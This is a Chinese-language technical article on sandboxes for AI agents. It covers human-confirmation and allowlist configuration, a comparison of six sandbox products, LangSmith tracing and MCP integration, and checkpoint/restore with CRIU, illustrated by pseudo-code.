sandbox = Sandbox.connect("anthropic-computer-use")

# 配置节流:每秒 6 帧
sandbox.configure(
    throttle(fps=6),                       # 截图帧率上限
    allowlist_app([                        # 允许操作的应用白名单
        "terminal",
        "editor",                          # 例如 VS Code / Cursor
        "browser",                         # 受限浏览器实例
    ]),
    region=(0, 0, 1920, 1080),             # 截屏区域,避免抓取其他屏幕
)

# 关键操作走二次确认通道
sandbox.on(ActionType.DELETE_FILE).require_confirm(
    payload=["sandbox_id", "task_id", "actor", "reason"],
)
sandbox.on(ActionType.PAYMENT).require_confirm(
    payload=["sandbox_id", "task_id", "amount", "merchant"],
)

配置完成后,沙盒会把节流后的截帧按 6 fps 推给模型,模型只能在白名单应用内产生键鼠事件,所有删库、付款、转账、邮件外发这类高风险动作都会被拦截并把 sandbox_id、task_id 一并塞进确认消息,推送到人类操作员的客户端做二次确认。sandbox_id 用于定位是哪个隔离实例触发的动作,task_id 用于回溯这是哪个 Agent 任务链中的步骤,二者联合才能在审计日志里把「模型的动作」「触发的任务」「承载的沙盒」三者串成一条完整证据链,缺一个字段都难以在事后复盘。

需要强调的是,二次确认通道不只是「弹一个 Yes / No 弹窗」那么简单。一个合格的二次确认至少要做到:把待执行动作的结构化描述(目标对象、影响范围、可回滚性)、模型给出的 reasoning(为什么它要这么做)、上下文历史(最近 N 步截帧)同时呈现给人类,让人能在 5-10 秒内判断「放手 / 拒绝 / 改写任务」。如果只把动作名摆上去,人类操作员很容易养成「无脑 Yes」的肌肉记忆,二次确认就从安全机制退化成了橡皮图章。强烈建议把二次确认通道设计成「默认 30 秒超时即拒绝」,而不是「超时即通过」,因为前者把风险留在沙盒内,后者会把风险释放到生产环境。

工程落地时,常见的踩坑点有三个:其一,白名单应用要按「进程名 + 可执行文件签名」双重校验,只校验窗口标题很容易被钓鱼窗口绕过;其二,截帧节流要把「抓帧」与「送帧」解耦,避免抓帧线程因为 LLM 推理阻塞而被积压,导致队列里堆积陈旧的截图;其三,二次确认通道要走独立于主控链路的连接,例如单独一条 WebSocket,防止主链路被攻击者劫持后连带劫持确认流。

公开文档方面,Anthropic 官方在 docs.anthropic.com/en/docs/age... 给出了 Computer Use 的工具定义、截屏编码规范与推荐的安全约束清单;LangChain 也在 docs.smith.langchain.com/docs/sandbo... 的 Sandbox Agents 文档里把「白名单应用 + 节流 + 二次确认」列为默认推荐的强约束模型,并配套给出了 microVM 的网络出口策略。这两份官方文档是工程团队落地的首选参考,值得在 PoC 阶段就完整读完。

至于社区生态,Open Computer Use 项目由 LangChain 维护,入口在 LangChain 官方博客 blog.langchain.com/ 与官方文档 python.langchain.com/docs/introd... 都有索引,提供了一组可复用的 Linux 桌面镜像、白名单配置模板与审计日志格式。团队不必从零造轮子,可以直接以这套开源基线起步,再按自家合规要求叠加定制层。

主流沙盒产品横向对照:Daytona / E2B / Blaxel / Ship Secur3 / OpenHands / Anthropic

$观察$ 把六款主流沙盒产品放在一起横向对照,会发现它们的「定位差异」比「技术差异」更值得工程师关注。Daytona 把开发者体验当作一等公民,IDE 风格的启动日志、即开即用的语言运行时、git 凭据直通,这些都是冲着「让开发者忘了沙盒存在」去的;E2B 走的是通用路线,SDK 薄、抽象稳,适合任何 Agent 框架做底层;Blaxel 把多 Agent 协同当作核心卖点,单实例里塞不下整个工作组时就横向 fan-out;Ship Secur3 的命名已经暴露了它的野心------把每一次 sandbox.exec 都当作审计事件写进不可篡改的日志,目标客户是合规团队而不是写代码的工程师;OpenHands 是开源 SWE(软件工程)Agent 的事实标准,沙盒只是它跑 issue 修复任务的脚手架;Anthropic Computer Use 则是把 Claude 的 GUI 操作能力锁进自家沙盒里,与其他产品形成「官方 vs 第三方」的分水岭。

$数据$ 评估沙盒产品时,有四个工程维度必须放到同一张表里比:冷启动时延、单实例最大内存、Snapshot 大小上限、Network Egress 控制粒度。冷启动决定了 Agent 每一步循环要不要等几百毫秒到几秒,直接影响「思考-执行」循环能否跑得动;单实例内存决定了能否在沙盒里启动浏览器、跑 Selenium 或 Playwright 做 Computer Use;Snapshot 大小上限决定了 warm-pool 的命中率------上限太低意味着很多任务都得冷启动;Network Egress 控制粒度则是安全模型的核心,有的产品只到域名级 allowlist,有的能做到 IP/ASN/端口级,甚至支持 mTLS(双向 TLS 认证)出口。这四个维度任何一个拉胯,都会让上层 Agent 框架在「速度 vs 安全」上被迫做取舍。

产品	DX	通用	多 Agent 协同	安全审计	开源 SWE	官方 Computer Use
Daytona	★★★★★	★★★	★★	★★	★★	---
E2B	★★★	★★★★★	★★★	★★★	★★	---
Blaxel	★★★	★★★★	★★★★★	★★	★	---
Ship Secur3	★★	★★★	★★	★★★★★	★	---
OpenHands	★★★	★★★	★★	★★	★★★★★	---
Anthropic Computer Use	★★	★★	★	★★★★	---	★★★★★

这张对比矩阵的读法不是「星星越多越好」,而是看你的 harness(Agent 运行时框架)落在哪一列。如果你的 Agent 是 LangGraph 编排的多节点工作流,Blaxel 的协同能力会被频繁调用;如果你的团队正在做金融行业的合规 AI,Ship Secur3 的审计权重就要被提到最高;如果你的项目就是想让 Claude 直接操作桌面,Anthropic 官方的 Computer Use 沙盒不需要任何第三方中间层。

不同产品的 API 表面其实惊人地一致,几乎都收敛到 sandbox.create / sandbox.exec / sandbox.snapshot 三件套。下面这段抽象接口展示了工程师在写 harness 适配层时最常见的写法:

python 复制代码

from abc import ABC, abstractmethod
from typing import AsyncIterator

class SandboxBackend(ABC):
    @abstractmethod
    async def create(self, image: str, *, cpu: int = 2, mem_gb: int = 4,
                     network_policy: dict | None = None) -> str:
        """返回一个 sandbox_id,后续所有操作都基于这个 id"""

    @abstractmethod
    async def exec(self, sb_id: str, cmd: str, *,
                   timeout_s: int = 60) -> AsyncIterator[dict]:
        """流式返回 stdout / stderr / exit_code"""

    @abstractmethod
    async def snapshot(self, sb_id: str, tag: str) -> str:
        """把当前 sandbox 状态冻结成可复用的快照,返回 snapshot_id"""

六款产品里,有的把 create 的网络策略做成了强类型字段(network_policy),有的只接受一个 egress_allowlist 字符串数组;exec 的流式语义基本对齐,但有的产品把 stdout/stderr 合并成单个 channel;snapshot 的实现差异最大------有的用 CRIU(用户态进程冻结)做进程级快照,有的直接镜像整块 microVM 磁盘,粒度和恢复速度都不一样。对比 Daytona 的快照偏向「开发者场景,几秒就能 resume」,E2B 的快照偏向「通用,默认 5GB 上限」,Ship Secur3 的快照则带上完整的网络审计上下文。

产品选型不是「选最好的」,而是「选最贴合 harness 的」。LangChain 生态下的多 Agent 项目,优先看 LangSmith Sandboxes------它和 LangGraph Platform、LangSmith Tracing、Secret Vault 是一套闭合链路,trace span 能直接关联到 sandbox.exec 的每一次调用,审计、凭据、网络出口全部在一个控制台里。独立工具链、不想被任何一家云厂商绑死的团队,E2B 是更安全的选择,SDK 稳定、文档干净、社区活跃度也够。如果 harness 本身已经基于 OpenHands 在跑 SWE 任务,就别再外接一层 Daytona------OpenHands 自带的沙盒已经为 issue-fix 流水线做过深度优化。

取舍把视角拉远一点,六款产品其实代表了三种工程哲学:Daytona / E2B 是「开发者优先」路线,把 DX 和 SDK 友好度做到极致;Blaxel / Ship Secur3 是「平台优先」路线,把多租户协同和审计做厚;Anthropic / OpenHands 是「模型优先」路线,沙盒只是模型能力(Computer Use 或 SWE)的外延。三者之间没有绝对好坏,真正决定选择的是你的 Agent 在生产里要承担什么角色、面向什么用户、面对什么合规要求。

以下是六款产品的官方入口,工程师在写 PoC(概念验证)时可以分别申请试用做横向 benchmark:

Daytona 官方文档:www.daytona.io/docs/
E2B 官方文档:e2b.dev/docs
Blaxel 官方文档:blaxel.ai/docs
Ship Secur3 官方文档:docs.shipsec.ai/
OpenHands 官方仓库:github.com/All-Hands-A...
Anthropic Computer Use 官方文档:docs.anthropic.com/en/docs/age...

把这六个入口放进 bookmark,跑一轮 30 分钟的概念验证就能淘汰掉一半候选------剩下的那一半,就是和你的 harness 心智模型最贴合的那一款。

LangSmith Sandboxes 生态集成:Tracing / LangGraph / MCP 自动接线

LangSmith Sandboxes 与 LangChain 生态深度集成的关键,不在沙盒本身,而在 Tracing 层的「自动接线」。当 sandbox lifecycle(创建、启动、挂起、销毁)被直接嵌入到 LangSmith 的 trace 上下文里时,任何一个 Agent 调用链都能向下穿透到沙盒内部,看到代码执行的真实耗时、文件系统变更、网络出口命中与回放快照。这种「沙盒状态自动成为 span 属性一部分」的能力,是它相比 Daytona、E2B、Blaxel 等独立沙盒产品最大的差异化优势。

$观察$ 把六款主流沙盒放在一张图里横向对照会发现,LangSmith Sandboxes 与其他独立沙盒产品最大的分野,不在隔离技术(都是 microVM 或容器级别),而在「是否原生接进 LangChain 的可观测性骨干」。独立沙盒提供 SDK 调用,但 tracing 完全是工程师自己接的;LangSmith Sandboxes 则把 sandbox.run、sandbox.exec 这类操作当作 LangSmith span 的一部分自动产出。这意味着 Agent 在 trace 时间线上的每一次停顿,都能被即时归因到具体沙盒实例,而不需要人工把日志跟 trace id 对齐。从工程视角看,这把「Agent 跑得慢」的根因排查从「猜」变成了「看」。

$数据$ 一旦 sandbox lifecycle 接入 OTEL(OpenTelemetry)tracing,「哪一步卡在沙盒 I/O」的排查时间从小时级降到分钟级。原因在于 trace span 上自带 sandbox_id、image_digest、egress_target、wall_clock_ms 等属性字段,工程师只需要在 LangSmith UI 里按 span.kind=sandbox.exec 过滤,就能列出所有沙盒执行事件,再点开看 stdout、stderr、fs diff。独立沙盒方案里,这一步通常需要把 sandbox 内部日志单独导出到 Loki 或 ELK,再人工 join trace id,平均排查耗时随团队规模与沙盒数量线性增长。把 sandbox lifecycle 完整接进 OTEL 之后,这一类问题在 trace 时间线上是自描述的。

下面这张表把两种方案的工程差异摊开看:

维度	独立沙盒 + 自接 trace	LangSmith Sandboxes 一体化 tracing
调试体验	需要额外维护日志管道,trace id 与 sandbox log 手动关联	span 属性自动带 sandbox_id,UI 内一键下钻
告警联动	OTEL collector 单独配置 sandbox 指标的告警规则	LangSmith 告警直接复用,可在 span attribute 上写阈值
计费透明度	sandbox runtime 计费与 LLM token 计费分两套账单	LangSmith Deploy 统一账单,sandbox wall-clock 与 token 同表
上手成本	接 OTEL SDK、写 exporter、配 collector,链路长	启用 LangSmith 环境变量即可,零额外配置
跨沙盒对比	需要在 SIEM 里写聚合查询	LangSmith Playground 直接选 span 子集做 diff
锁生态风险	低,可替换为任意沙盒	高,离开 LangChain 生态即失去优势

调试体验、告警联动、计费透明度这三项,LangSmith Sandboxes 都把集成开销压到了几乎为零;代价是绑死 LangChain 生态,选型时这是必须显式权衡的取舍点。

把 sandbox 接到 LangGraph Platform 也是同样的逻辑。LangGraph 的节点执行天然会生成 span,只要 sandbox node 内部的执行代码走的是 LangSmith 推荐的 runnable 接口,trace 就会自动把 sandbox_id 当作 span attribute 写进去。下面这段伪代码演示如何在 LangGraph Platform 的节点里调用沙盒,并把 sandbox_id 显式写入 span:

python 复制代码

from langgraph import Node
from langsmith import traceable
from langsmith.sandboxes import get_sandbox

class SandboxExecNode(Node):
    @traceable(name="sandbox.exec", run_type="tool")
    def __call__(self, state: dict) -> dict:
        sandbox = get_sandbox(image="python:3.12-sandbox")
        with sandbox:
            # sandbox_id 自动写入当前 span attribute
            result = sandbox.exec(
                "pytest -q tests/",
                timeout=120,
            )
            return {"stdout": result.stdout, "exit": result.exit_code}

上述代码中,@traceable 装饰器会把这次 sandbox.exec 注册成一个 tool 类型 span,LangSmith Tracing 会在 span attribute 里追加 sandbox_id、image、region、cold_start_ms 等字段。在 LangGraph Platform 的 trace UI 里点开这个节点,就能看到沙盒从拉起到执行的完整时间线,以及 stdout/stderr 的折叠预览。这种「节点即 span」的语义,正是 LangGraph + LangSmith Sandboxes 一体化设计最舒服的地方。

MCP(Model Context Protocol)集成则是另一个层面的设计取舍。把沙盒当作一个 MCP server 暴露,意味着 tool call 不再经过模糊的 HTTP 路由,而是直接命中沙盒内的执行环境。LangSmith Sandboxes 通过 MCP adapter,把 sandbox 内的 shell、filesystem、python REPL 等能力注册成 MCP tool,Agent 端只需配置一个 MCP client 即可使用:

json 复制代码

{
  "mcpServers": {
    "langsmith-sandbox": {
      "command": "uvx",
      "args": ["langsmith-sandbox-mcp", "--image=python:3.12-sandbox"],
      "env": {
        "LANGSMITH_API_KEY": "lsv2_***",
        "LANGSMITH_TRACING": "true"
      }
    }
  }
}

$观察$ 这种「沙盒即 MCP server」的设计有一个被低估的好处:工具调用的歧义性大幅降低。传统 tool call 里,Agent 要同时维护「我能不能执行这段代码」「这段代码会不会写到生产 DB」「执行环境是不是干净的」三件事;而 MCP server 把执行环境封装在一个独立进程里,工具调用的语义边界就是沙盒边界,模型看到的 tool description 与沙盒实际能力是 1:1 对应的。MCP 规范本身的资源-工具-提示词三分法,也恰好与沙盒内的文件、命令、上下文三类能力对应,这种对齐不是偶然,而是把沙盒当一等公民的架构自然推出来的结果。

但 MCP 集成也有几个易踩的坑需要提前预警:

沙盒冷启动延迟:首次 MCP 连接会触发 sandbox 创建,如果 Agent 在多轮对话中反复启停沙盒,需要配置 sandbox warm pool,否则首字延迟会肉眼可见地上升。
stdio 缓冲 :shell MCP 默认走 stdio,长任务输出容易触发 pipe buffer 满,建议在 sandbox 镜像里预设 PYTHONUNBUFFERED=1 或在 exec 调用里强制 flush。
tool schema 同步:MCP tool 的 schema 是从 sandbox 启动时探测出来的,如果镜像里动态安装了新工具,需要重启 MCP server 才能让 Agent 端看到新 tool。
凭据泄露面:MCP server 进程的 env 会被 Agent 看到,务必只注入最小权限的 LANGSMITH_API_KEY,不要复用生产 IAM 凭据。

最后是文档入口,LangSmith Tracing 的官方文档地址是 docs.smith.langchain.com/ ,LangSmith Sandboxes 的公告与集成细节可以在 blog.langchain.com/langchain-s... 找到。LangGraph Platform 的 sandbox 集成示例与 deploy 流程则在 docs.langchain.com/langgraph-p... 。MCP 规范本身在 modelcontextprotocol.io/ ,Anthropic Computer Use 文档给出了 sandbox + tool use 的端到端示例,见 docs.anthropic.com/en/docs/age... 。

回到决策层面:如果团队已经在 LangChain / LangGraph 体系内,并且 LangSmith Tracing 是日常 debug 工具,那么 LangSmith Sandboxes 的「一体化 tracing + MCP 自动接线」几乎是零边际成本的选择;如果团队是模型无关的中立架构,或者已经在用自建 OTEL + Loki 体系,那么独立沙盒 + 自接 trace 的方案反而更灵活。两种取舍没有绝对优劣,关键看可观测性是否锁在 LangChain 生态里------一旦锁定,迁移成本会比想象中高出不少。

崩溃与复活:Checkpoint / Restore 让沙盒天然可回滚

当一个 Agent 跑在沙盒里长达数十分钟甚至数小时,中间可能经历数十次工具调用、上百次文件写入、若干次网络出口请求------只要其中任何一步 crash、OOM(内存溢出)或者因为网络分区导致 LLM 调用超时回不来,整条 trace(链路追踪)就会断在某个 span(追踪节点)里。传统解决方式是「重跑整个任务」,但生产环境几乎不可接受:任务状态丢失、副作用不可控、成本无法预测。Checkpoint / Restore 机制的存在,就是为了让沙盒从某个一致时间点「原地复活」,而不是从头开始。

$观察$ Snapshot(快照) + Fork(分叉)模式天然支持 checkpoint / restore,沙盒跑挂后从最近的 Snapshot 重启,无需从头跑。理解这一点的关键,在于把沙盒生命周期拆成「不变层」与「可变层」两层:底层镜像、依赖缓存、工具链当作不变层,通过 Snapshot 一次性物化到对象存储或分布式块设备(如 Ceph RBD、S3 + lazy pull);上层工作目录、环境变量、in-memory state 作为可变层,每次 fork 时通过 copy-on-write(写时复制)按需拉取。这种「不变 + 可变」的二元结构,恰好对应 checkpoint 的两个核心诉求------快速恢复(从不变层秒级拉起)和状态保留(把可变层在某个时间点冻结为可寻址的 restore point)。相比传统的进程级 checkpoint,沙盒级 checkpoint 把恢复粒度从「单个进程」抬升到「整台隔离计算机」,语义上更贴近 OS 镜像恢复,但实现上又比 OS 镜像轻量得多。

5-15 分钟:Agent 长任务的 checkpoint 节拍

$数据$ 长任务 Agent 的典型 checkpoint 间隔为 5-15 分钟,灾备恢复时间从『小时级』压缩到『秒级』。这个数字并非拍脑袋得出------它综合了三方面约束:一是 checkpoint 本身的写入开销,Snapshot fork 写时复制时只有 dirty page(脏页)才会真正落盘,一次完整 dump 通常在 100MB-1GB 之间,对应数秒到数十秒的 IO;二是 Agent 的工具调用频次,典型 ReAct(Reason+Act)循环每分钟会触发 3-10 次工具调用,checkpoint 太密会显著放大存储成本,太疏又会丢失过多中间状态;三是业务可容忍的中断窗口,在 CI/CD 流水线里 3-5 分钟中断可接受,但超过 15 分钟就会触发人工介入流程。综合下来,5-15 分钟成为工业界事实上的默认区间。灾备恢复从小时级降到秒级的关键,在于 checkpoint 文件的存储路径与沙盒编排系统的耦合方式:checkpoint metadata 写入分布式 KV(如 etcd、Redis),data block 写入对象存储,当沙盒崩了,orchestrator 只需要几十毫秒就能拿到 restore point 列表并选定最近一份。

三种恢复方式:整盘 / CoW / CRIU 的 IO 与一致性权衡

维度	整盘 Snapshot 恢复	Fork Copy-on-Write	进程级 CRIU Checkpoint
恢复粒度	整台虚拟机或容器	共享父快照的轻量 fork	单个进程及其子进程
启动耗时	30-120 秒	100-500 毫秒	50-300 毫秒
存储开销	每份全量,GB 级	仅 dirty page,MB 级	进程内存映射,MB 级
一致性边界	整个文件系统一致	父 + 子各自独立	仅进程地址空间一致
适用场景	跨 region 灾备、跨集群迁移	同集群内并发实验、A/B 回放	单任务内快速恢复、调试
IO 放大风险	高(N 份全量)	低(共享父)	中(memory image IO)

「Snapshot 整盘恢复 vs Fork copy-on-write vs CRIU 进程 checkpoint」是工程上最常见的取舍三角。整盘恢复提供最强的隔离和最广的一致性覆盖,但 IO 成本最高;copy-on-write 是 Snapshot 的轻量化版本,牺牲了部分跨节点恢复能力换取毫秒级启动;CRIU(Checkpoint/Restore In Userspace,Linux 用户态 checkpoint 工具)粒度最细,但只覆盖进程地址空间,文件系统和网络栈需要额外协调。在 LangSmith Sandboxes 的实现里,后两者经常组合使用------外层用 Fork copy-on-write 拉起沙盒镜像,内层对 Agent 主进程跑 CRIU,实现「沙盒秒级拉起 + 进程毫秒级回滚」的双层恢复能力。

CRIU 实战:dump 与 restore 的伪代码骨架

python 复制代码

import subprocess, time, pathlib

CKPT_DIR = pathlib.Path("/var/lib/sandboxes/cr")

def checkpoint(pid: int, trace_id: str) -> dict:
    # 1. dump 进程树到 checkpoint 目录,leave-running 防止 dump 失败时进程被吞
    subprocess.run(["criu", "dump", "-t", str(pid),
                    "-D", str(CKPT_DIR / trace_id),
                    "--shell-job", "--leave-running"], check=True)
    # 2. flush trace 增量到对象存储,保证 restore 后能对上历史
    flush_trace_to_s3(trace_id)
    return {"trace_id": trace_id, "ts": time.time()}

def restore(trace_id: str, fork_prompt: str | None = None) -> int:
    # 3. 从 checkpoint 拉起新进程,新 PID 由 orchestrator 重新分配
    new_pid = subprocess.Popen(["criu", "restore",
                                "-D", str(CKPT_DIR / trace_id),
                                "--shell-job"]).pid
    # 4. 可选:注入 fork_prompt 把这次恢复变成一次重放实验
    if fork_prompt:
        inject_prompt(new_pid, fork_prompt)
    return new_pid

这段伪代码演示了 CRIU 编排的三个关键点:一是 dump 前加 --leave-running,让进程继续存活而不是被杀掉,即使 dump 失败也不会丢失运行时;二是 restore 时不依赖原 PID,而是用新 PID 拉起,避免和 orchestrator 的 PID namespace(命名空间)冲突;三是把 LLM prompt 的「分叉点」抽象成可注入参数,这就是下文要讨论的 checkpoint-as-replay 语义。

从灾备到重放:同一份 Snapshot 产出 N 条可对比轨迹

Checkpoint 不是「为了灾备」而是「为了重放」。这是设计哲学层面的转变------传统高可用系统把 checkpoint 当作保险丝,平时不用,崩了才拿出来;但 AI Agent 场景下,checkpoint 真正的价值在于「同一份 Snapshot 在不同 prompt 下 fork,产出 N 个可对比的执行轨迹」。设想一个场景:同一个代码仓库,在不同 prompt(比如「重构这个模块」vs「修复其中三个 bug」vs「加上单元测试」)下 fork 出三条并行沙盒,它们共享父 Snapshot 的依赖缓存和 git 历史,但各自产生独立的工具调用轨迹、独立的文件变更 diff(差异)、独立的最终输出。把这些轨迹横向摆在一起,就能像 git bisect(提交二分定位)一样,定位到「哪一步 prompt 改动导致了哪一步输出分歧」,这正是 eval(模型评估)团队梦寐以求的能力。

更进一步,这种 fork-replay 能力直接接入了 LangSmith 的 Tracing 层。当 sandbox lifecycle 被嵌入到 trace 上下文里时,每个 fork 都是 trace tree 上的一根独立 branch(分支),分支节点上挂着文件 diff、stdout、stderr、网络出口命中列表。回放时点击任意一个 branch,就能完整重现当时的执行现场------这是 LangSmith Sandboxes 相比独立沙盒产品(E2B、Daytona、Blaxel)最大的差异化优势,因为后者通常只暴露沙盒本身的 API,不与 Tracing 系统做深度耦合。CRIU 官方仓库在 github.com/checkpoint-... 提供了完整的源码与文档;LangSmith Sandboxes 的快照管理入口见 docs.smith.langchain.com/docs/sandbo... ,两份文档放在一起读,能看清「进程级 checkpoint 如何被沙盒编排层封装为面向 Agent 的恢复语义」。

工程踩坑清单

把 checkpoint / restore 落到生产环境,有几个常被忽视的坑:

网络 socket 不可移植:CRIU 默认不 restore 外部 TCP 连接。如果 Agent 在 checkpoint 时还连着某个长连接的 LLM API endpoint(经由 SDK 持有的 httpx 连接池),restore 后该 socket 已经失效但 FD(文件描述符)还在,会出现「假活」现象。解法是 restore 前主动 close 所有 external socket,或在代码里接入 reconnection 逻辑。
时间戳漂移 :restore 后进程内部时间和 wall clock(挂钟时间)出现跳跃,某些依赖 time.monotonic() 的 token bucket(令牌桶)限流逻辑可能瞬间触发误判。CRIU 提供 --tcp-close 与 clock restore 选项,但需要逐一验证。
PID 复用冲突 :容器内 PID namespace 很窄,如果 checkpoint 记录了 PID 5,restore 时 orchestrator 重新分配 PID 可能撞车,导致 criu restore 失败。规范做法是 restore 时不依赖固定 PID,让 CRIU 自动重新分配并通过环境变量传递新 PID。
checkpoint 自身的崩溃:dump 进程自己挂掉是最讽刺但最常见的生产事故。必须把 dump 动作交给 sidecar(边车进程)而不是 Agent 主进程,并对 dump 产物做 checksum(校验和)校验后才标记为「可用 restore point」。
存储成本爆炸:每个 fork 看似很轻,但 N 个 fork 跑完没清理,几小时就能堆出 TB 级脏页。需要给 checkpoint 设 TTL(过期时间),通常 24-72 小时,过期后归档到冷存储(S3 IA / Glacier)而非直接删除,方便合规审计。

小结:Checkpoint 让沙盒从「一次性容器」变成「可重放研究台」

回看这一节的核心命题:Checkpoint / Restore 不只是把灾备时间从小时压到秒,它更核心的价值是把沙盒从「跑一次就扔的一次性容器」重塑为「可任意 fork、可任意回放、可横向对比的研究台」。当 LangSmith 的 Tracing 层把每一次 fork 都变成 trace tree 上的一个 branch,沙盒就不再是黑盒执行环境,而是 eval 团队、red team(红队)、产品团队都能共享的复盘资产。理解了这一点,才能真正把 Snapshot + Fork 模式的优势吃透------而不是只把它当成「一个更快的回滚按钮」。